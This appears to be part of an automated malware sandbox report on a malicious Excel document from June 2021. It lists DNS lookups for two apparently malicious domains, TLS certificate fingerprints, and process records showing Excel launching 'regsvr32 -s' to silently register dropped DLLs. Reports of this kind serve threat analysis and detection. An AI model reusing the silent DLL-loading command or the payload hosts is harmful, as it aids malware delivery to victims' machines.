                                                                                                                                                          Jun 9, 2021 17:17:40.349272966 CEST5233753192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:40.413153887 CEST53523378.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:41.256882906 CEST5504653192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:41.310372114 CEST53550468.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:42.168138027 CEST4961253192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:42.229686022 CEST53496128.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:42.962234020 CEST4928553192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:43.015492916 CEST53492858.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:43.870351076 CEST5060153192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:43.923424006 CEST53506018.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:47.184335947 CEST6087553192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:47.239305019 CEST53608758.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:59.411874056 CEST5644853192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:59.467163086 CEST53564488.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:08.141653061 CEST5917253192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:08.205116034 CEST53591728.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:27.621191978 CEST6242053192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:27.769411087 CEST53624208.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:28.432518959 CEST6057953192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:28.494142056 CEST53605798.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:28.886328936 CEST5018353192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:28.959438086 CEST53501838.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:29.087913036 CEST6153153192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:29.147430897 CEST53615318.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:29.610074997 CEST4922853192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:29.669997931 CEST53492288.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:30.258502960 CEST5979453192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:30.308621883 CEST53597948.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:30.926453114 CEST5591653192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:30.986471891 CEST53559168.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:31.785990953 CEST5275253192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:32.083848000 CEST53527528.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:32.997690916 CEST6054253192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:33.058320999 CEST53605428.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:34.087609053 CEST6068953192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:34.146119118 CEST53606898.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:34.698231936 CEST6420653192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:34.756654978 CEST53642068.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:47.616719007 CEST5090453192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:47.675532103 CEST53509048.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:18:48.591115952 CEST5752553192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:18:48.654366016 CEST53575258.8.8.8192.168.2.4

                                                                                                                                                          DNS Queries

                                                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                          Jun 9, 2021 17:17:11.987961054 CEST192.168.2.48.8.8.80xf531Standard query (0)forfacks.comA (IP address)IN (0x0001)
                                                                                                                                                          Jun 9, 2021 17:17:13.312032938 CEST192.168.2.48.8.8.80x6c2Standard query (0)dreamhimalayan.comA (IP address)IN (0x0001)

                                                                                                                                                          DNS Answers

                                                                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                          Jun 9, 2021 17:17:12.169286966 CEST8.8.8.8192.168.2.40xf531No error (0)forfacks.com192.185.48.167A (IP address)IN (0x0001)
                                                                                                                                                          Jun 9, 2021 17:17:13.370625973 CEST8.8.8.8192.168.2.40x6c2No error (0)dreamhimalayan.com192.185.113.120A (IP address)IN (0x0001)

                                                                                                                                                          HTTPS Packets

                                                                                                                                                          TimestampSource IPSource PortDest IPDest PortSubjectIssuerNot BeforeNot AfterJA3 SSL Client FingerprintJA3 SSL Client Digest
                                                                                                                                                          Jun 9, 2021 17:17:12.508121014 CEST192.185.48.167443192.168.2.449733CN=*.forfacks.com CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Sun May 16 07:28:43 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021Sat Aug 14 07:28:43 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,037f463bf4616ecd445d4a1937da06e19
                                                                                                                                                          CN=R3, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USFri Sep 04 02:00:00 CEST 2020Mon Sep 15 18:00:00 CEST 2025
                                                                                                                                                          CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Jan 20 20:14:03 CET 2021Mon Sep 30 20:14:03 CEST 2024
                                                                                                                                                          Jun 9, 2021 17:17:13.698019028 CEST192.185.113.120443192.168.2.449734CN=*.dreamhimalayan.com CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Sun May 16 02:04:50 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021Sat Aug 14 02:04:50 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,037f463bf4616ecd445d4a1937da06e19
                                                                                                                                                          CN=R3, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USFri Sep 04 02:00:00 CEST 2020Mon Sep 15 18:00:00 CEST 2025
                                                                                                                                                          CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Jan 20 20:14:03 CET 2021Mon Sep 30 20:14:03 CEST 2024

                                                                                                                                                          Code Manipulations

                                                                                                                                                          Statistics

                                                                                                                                                          CPU Usage

                                                                                                                                                          Click to jump to process

                                                                                                                                                          Memory Usage

                                                                                                                                                          Click to jump to process

                                                                                                                                                          High Level Behavior Distribution

                                                                                                                                                          Click to dive into process behavior distribution

                                                                                                                                                          Behavior

                                                                                                                                                          Click to jump to process

                                                                                                                                                          System Behavior

                                                                                                                                                          General

                                                                                                                                                          Start time:17:17:03
                                                                                                                                                          Start date:09/06/2021
                                                                                                                                                          Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
                                                                                                                                                          Imagebase:0x11c0000
                                                                                                                                                          File size:27110184 bytes
                                                                                                                                                          MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high

                                                                                                                                                          General

                                                                                                                                                          Start time:17:17:13
                                                                                                                                                          Start date:09/06/2021
                                                                                                                                                          Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:regsvr32 -s ..\werty1.dll
                                                                                                                                                          Imagebase:0x1e0000
                                                                                                                                                          File size:20992 bytes
                                                                                                                                                          MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high

                                                                                                                                                          General

                                                                                                                                                          Start time:17:17:14
                                                                                                                                                          Start date:09/06/2021
                                                                                                                                                          Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:regsvr32 -s ..\werty2.dll
                                                                                                                                                          Imagebase:0x1e0000
                                                                                                                                                          File size:20992 bytes
                                                                                                                                                          MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high

                                                                                                                                                          Disassembly

                                                                                                                                                          Code Analysis

                                                                                                                                                          Reset < >